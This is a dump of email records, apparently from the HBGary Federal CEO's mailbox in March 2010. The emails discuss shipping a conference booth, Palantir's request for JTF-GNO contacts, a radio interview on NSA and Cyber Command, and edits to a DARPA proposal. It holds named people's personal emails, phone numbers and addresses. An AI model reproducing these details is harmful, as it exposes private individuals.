916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 24, 2010 7:48 AMTo:&nbsp;Bob SlapnikCc:&nbsp;DeeAnn BuonaccorsiSubject:&nbsp;Fwd: JTF-GNO&nbsp;Just got the information. &nbsp;The Ritz is the one in Tysons Corner.&nbsp;Aaron&nbsp;&nbsp;Begin forwarded message:From:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;Date:&nbsp;March 24, 2010 10:46:13 AM EDTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;, Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: RE: JTF-GNOHi Aaron,&nbsp;If it would be easiest to store local in DC prior to the conference, you are welcome to send it to our Tysons office.&nbsp; Alternatively, the Ritz-Carlton will be prepared to start receiving partner equipment on Monday, 4/5.&nbsp;Our office mailing address is:1660 International Dr., Suite 800McLean, VA 22102&nbsp;Let me know if you decide to mail it here so I can keep an eye out for it.&nbsp;Thanks,Tim&nbsp;PS. Also attached the conference partner guide for your reference.&nbsp;_________________________________________________________Tim RonanPalantir Technologies | Forward Deployed Engineertronan@palantirtech.com&nbsp;| 571.225.6179_________________________________________________________&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 23, 2010 9:03 PMTo:&nbsp;Matthew SteckmanCc:&nbsp;Timothy RonanSubject:&nbsp;Re: JTF-GNO&nbsp;Thanks Matt.&nbsp;I will have more time once the DARPA proposal is in on Monday. &nbsp;Right now my brain is full with Cyber Genome.&nbsp;Tim. &nbsp;What should I do about our booth? &nbsp;Right now it is in DC and we can keep it here and have it shipped to your location.&nbsp;Aaron&nbsp;On Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:Excellent on JTF.&nbsp;In terms of booth stuff, Ive CCed Tim…..he’ll know best.&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 23, 2010 5:23 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: JTF-GNO&nbsp;Hey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf would be am interesting deployment. &nbsp;I think I may have let a few government contacts. &nbsp;Certainly have some NG contacts I could reach out to.&nbsp;What address should I give the cpany for our booth? &nbsp;Or do u supply booths?&nbsp;How does all that work?&nbsp;AaronFrom my iPhoneOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:Aaron,&nbsp;We keep hearing about cyber ops at JTF-GNO with respect to our ongoing cyber deployments.&nbsp; Im wondering if you still have any connections there and might set up a short briefing for us.&nbsp; Federal leadership is obviously preferred, but any foot in the door would be appreciated.&nbsp; We would outline our progress to date with our major cyber customers and give them a quick capabilities brief.&nbsp; We’d obviously mention our HBGary connections as well.&nbsp;&nbsp;Let me know what you think.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14108,'aaron_hbgary_com/14108.html'),(4467,'2010-03-24','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297002567.M525973P3547Q4467.eml','aaron@hbgary.com','Schedule Interview with WFED Radio','Hi Aaron, I\'d like to pitch you for an interview with WFED (Federal Radio Network) on 1050 AM in Washington DC. While I can use our recent DHS contract as a newshook, I\'d like to see if there are other topics related to current federal government cybersecurity issues that you would like to discuss.\r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\n\r\n\r\n',2445,'aaron_hbgary_com/2445.html'),(4468,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002567.M831270P3547Q4468.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with WFED Radio','Hmmmm....maybe like APT?!Also good topics are the progress in cybersecurity nationally. &nbsp;Congress and Senate have recently taken on cybersecurity bills. &nbsp;Naming of a Cyber Czar. &nbsp;Probable confirmation of Alexander to Cyber Command. &nbsp;Battle between DHS and NSA for cybersecurity. &nbsp;Organizational/bureaucratic&nbsp;&nbsp;hurdles to becoming more secure as a nation...AaronOn Mar 24, 2010, at 3:06 PM, Karen Burke wrote:Hi Aaron, I\'d like to pitch you for an interview with WFED (Federal Radio Network) on 1050 AM in Washington DC. While I can use our recent DHS contract as a newshook, I\'d like to see if there are other topics related to current federal government cybersecurity issues that you would like to discuss.\r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8856,'aaron_hbgary_com/8856.html'),(4469,'2010-03-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002568.M18672P3547Q4469.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: GDAIS input to TA#4: one-page summary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nFYI, attached is a summary\r\ndescription of some GDAIS operational capability that we sent to Secure\r\nDecisions for TA#4.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11932,'aaron_hbgary_com/11932.html'),(4470,'2010-03-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297002568.M213195P3547Q4470.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: JTF-GNO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWell , maybe you can buy a couple of bike for the twins now that\r\nyou have space.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 12:03 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMan and I just made room in my Garage!\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust kidding. &nbsp;Thank You.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 24, 2010, at 3:02 PM, DeeAnn Buonaccorsi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease disregard last email from me. The booth is being sent to\r\nthe Ritz.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\n\r\n\r\n\r\n\r\nOffice Manager\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite\r\n250\r\n\r\n\r\n\r\n\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\n\r\n\r\n\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\n\r\n\r\n\r\n\r\nFax: 916-481-1460\r\n\r\n\r\n\r\n\r\n\r\nEmail&nbsp;&nbsp;deeann@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 24,\r\n2010 7:48 AM\r\nTo:&nbsp;Bob Slapnik\r\nCc:&nbsp;DeeAnn Buonaccorsi\r\nSubject:&nbsp;Fwd: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust got the information. &nbsp;The Ritz is the one in\r\nTysons Corner.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;March 24, 2010 10:46:13 AM EDT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf it would be easiest to store local in DC prior to the\r\nconference, you are welcome to send it to our Tysons office.&nbsp;\r\nAlternatively, the Ritz-Carlton will be prepared to start receiving partner\r\nequipment on Monday, 4/5.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOur office mailing address is:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1660 International Dr., Suite 800\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMcLean, VA 22102\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know if you decide to mail it here so I can keep an eye\r\nout for it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPS. Also attached the conference partner guide for your\r\nreference.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Ronan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalantir Technologies | Forward Deployed Engineer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ntronan@palantirtech.com&nbsp;| 571.225.6179\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 9:03 PM\r\nTo:&nbsp;Matthew Steckman\r\nCc:&nbsp;Timothy Ronan\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Matt.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will have more time once the DARPA proposal is in on\r\nMonday. &nbsp;Right now my brain is full with Cyber Genome.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim. &nbsp;What should I do about our booth? &nbsp;Right now\r\nit is in DC and we can keep it here and have it shipped to your location.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 7:08 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent on JTF.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of booth stuff, Ive CCed Tim&#8230;..he&#8217;ll know best.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 23,\r\n2010 5:23 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: JTF-GNO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Matt. &nbsp;Let me see what I can dig up. &nbsp;Jtf\r\nwould be am interesting deployment. &nbsp;I think I may have let a few\r\ngovernment contacts. &nbsp;Certainly have some NG contacts I could reach out to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat address should I give the cpany for our booth? &nbsp;Or\r\ndo u supply booths?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does all that work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 23, 2010, at 12:01 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe keep hearing about cyber ops at JTF-GNO with respect to\r\nour ongoing cyber deployments.&nbsp; Im wondering if you still have any\r\nconnections there and might set up a short briefing for us.&nbsp; Federal\r\nleadership is obviously preferred, but any foot in the door would be\r\nappreciated.&nbsp; We would outline our progress to date with our major cyber\r\ncustomers and give them a quick capabilities brief.&nbsp; We&#8217;d obviously\r\nmention our HBGary connections as well.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me know what you think.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15828,'aaron_hbgary_com/15828.html'),(4471,'2010-03-24','\"Kenny Prole\" <KennyP@avi.com>','/aaron@hbgary.com/new/1297002577.M353264P3547Q4471.eml','aaron@hbgary.com,aaron@hbgary.com,','RE: Latest version','Aaron,\r\n\r\nPlease find attached document with track changes. It include my bio,\r\nsmall addition to innovative claims, prior research on malware\r\nvisualization, Secure Decisions previous work descriptions, and\r\nfacilities description. I don\'t expect you to use all of it, but figured\r\nI\'d place it in there for you to use or take out as you see fit.\r\n\r\nWe are working on the cost proposal.\r\n\r\n- Ken\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 24, 2010 1:06 PM\r\nTo: Irby Thompson; Adam Fraser; Christopher H. Starr; Jason R. Upchurch;\r\nAnita D\'Amico; Ebbe Reker; Bob Slapnik; Phil Porras; vinod@csl.sri.com;\r\nTed Vera\r\nSubject: Latest version\r\n\r\nAll,\r\n\r\nAgain please look at tables for data to fill out for your area of\r\nresponsibility.\r\nInnovations Table\r\nDeliverables Table\r\nKey Personnel Table (Ken I need you to fit your into the format in the\r\ndocument).\r\n\r\nI also need comparisons with other research from your respective areas.\r\n\r\nThanks,\r\nAaron\r\n\r\n',631,'aaron_hbgary_com/631.html'),(4472,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002578.M39196P3547Q4472.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>','Pricing','Hi Adam,\r\n\r\nHows the pricing coming?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13226,'aaron_hbgary_com/13226.html'),(4473,'2010-03-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002578.M432243P3547Q4473.eml','\"Aaron Barr\" <aaron@hbgary.com>','GD vs. GDAIS (General Dynamics vs. General Dynamics Advanced Information Systems)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nFYI, DARPA associates General Dynamics&#8217; advanced cyber\r\ncapabilities with the General Dynamics Advanced Information Systems (GDAIS)\r\ndivision.&nbsp; We are working to make sure all references to General Dynamics in\r\nTechnical Area #1 appear as &#8220;GDAIS&#8221; or &#8220;General\r\nDynamics Advanced Information Systems&#8221; and we probably should do the\r\nsame in Technical Area #3.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15497,'aaron_hbgary_com/15497.html'),(4474,'2010-03-24','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297002578.M623236P3547Q4474.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Schedule Interview with WFED Radio','Hi Aaron, Thanks for your note! I like the topic of the possible confirmation of Alexander as CyberComm -- he would also keep NSA director title. What is your take --- do you think this is a good move forward? If so, why -- will it lead to improved government cybersecurity issues? Any possible conflicts due to dual CyberCom-NSA director title? Looks like they will bring up nomination after Easter recess. Karen--- On Wed, 3/24/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with WFED RadioTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 24, 2010, 12:18 PM\r\nHmmmm....maybe like APT?!\r\n\r\nAlso good topics are the progress in cybersecurity nationally. &nbsp;Congress and Senate have recently taken on cybersecurity bills. &nbsp;Naming of a Cyber Czar. &nbsp;Probable confirmation of Alexander to Cyber Command. &nbsp;Battle between DHS and NSA for cybersecurity. &nbsp;Organizational/bureaucratic&nbsp;&nbsp;hurdles to becoming more secure as a nation...\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Mar 24, 2010, at 3:06 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I\'d like to pitch you for an interview with WFED (Federal Radio Network) on 1050 AM in Washington DC. While I can use our recent DHS contract as a newshook, I\'d like to see if there are other topics related to current federal government cybersecurity issues that you would like to discuss.\r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',11516,'aaron_hbgary_com/11516.html'),(4475,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002585.M117619P3547Q4475.eml','\"Kenny Prole\" <KennyP@avi.com>,ebber@avi.com,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com','Latest Draft','All,\r\n\r\nSorry to keep filling up your in boxes but some of you have asked for the most recent version I am integrating...here it is.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',14214,'aaron_hbgary_com/14214.html'),(4476,'2010-03-24','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297002588.M832781P3547Q4476.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Latest Draft','Aaron,\r\n\r\nAttached are some comments/changes from the previous revision.\r\n\r\n	-irby\r\n\r\n',13758,'aaron_hbgary_com/13758.html'),(4477,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002589.M695034P3547Q4477.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Schedule Interview with WFED Radio','I do think it is a good move forward. &nbsp;I am sensitive to the concerns for privacy but I think that can be managed. &nbsp;In fact it has been managed for years. &nbsp;There are very strict provisions and guidelines for those that perform SIGINT duties and those that perform net defense duties. &nbsp;At NSA there are very few people that perform both duties and you have to receive frequent training to be in those billets. &nbsp;This would just bring the existing operational constructs to a larger scale and put more of the infrastructure under a single command and authority. &nbsp;There is just too much happening independently right now, there needs to be a central authority to manage a coordinated Defensive and Offensive Cyber strategy.In a perfect world DHS would be capable of filling this role on Defense and would have a strong relationship with NSA with a free flow of information between them to coordinate offense and defense. &nbsp;DHS is working hard to be able to fill more of that role but they are not there, the relationship is not there and we need a central organization to start taking the lead now. &nbsp;With all of the services re-organizing their own Cyber efforts, networks, etc. &nbsp;and they are all looking to NSA to provide the national guidance.AaronOn Mar 24, 2010, at 5:12 PM, Karen Burke wrote:Hi Aaron, Thanks for your note! I like the topic of the possible confirmation of Alexander as CyberComm -- he would also keep NSA director title. What is your take --- do you think this is a good move forward? If so, why -- will it lead to improved government cybersecurity issues? Any possible conflicts due to dual CyberCom-NSA director title? Looks like they will bring up nomination after Easter recess. Karen--- On Wed, 3/24/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Schedule Interview with WFED RadioTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 24, 2010, 12:18 PM\r\nHmmmm....maybe like APT?!\r\n\r\nAlso good topics are the progress in cybersecurity nationally. &nbsp;Congress and Senate have recently taken on cybersecurity bills. &nbsp;Naming of a Cyber Czar. &nbsp;Probable confirmation of Alexander to Cyber Command. &nbsp;Battle between DHS and NSA for cybersecurity. &nbsp;Organizational/bureaucratic&nbsp;&nbsp;hurdles to becoming more secure as a nation...\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Mar 24, 2010, at 3:06 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I\'d like to pitch you for an interview with WFED (Federal Radio Network) on 1050 AM in Washington DC. While I can use our recent DHS contract as a newshook, I\'d like to see if there are other topics related to current federal government cybersecurity issues that you would like to discuss.\r\n&nbsp;\r\nThanks, Karen&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2240,'aaron_hbgary_com/2240.html'),(4478,'2010-03-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002589.M946041P3547Q4478.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: Latest Draft','Hey Irby,\r\n\r\nGoing through and incorporating some of your comments now.\r\n\r\nAlso want to discuss comments with you as I go.\r\n\r\nFirst one is about commercialization.  I am open to different language if you think something should be worded differently.  I think we do need to address how we might commercialize though, they specifically ask for it in the BAA.\r\n\r\nAaron\r\n\r\n\r\nOn Mar 24, 2010, at 5:34 PM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> Attached are some comments/changes from the previous revision.\r\n> \r\n> 	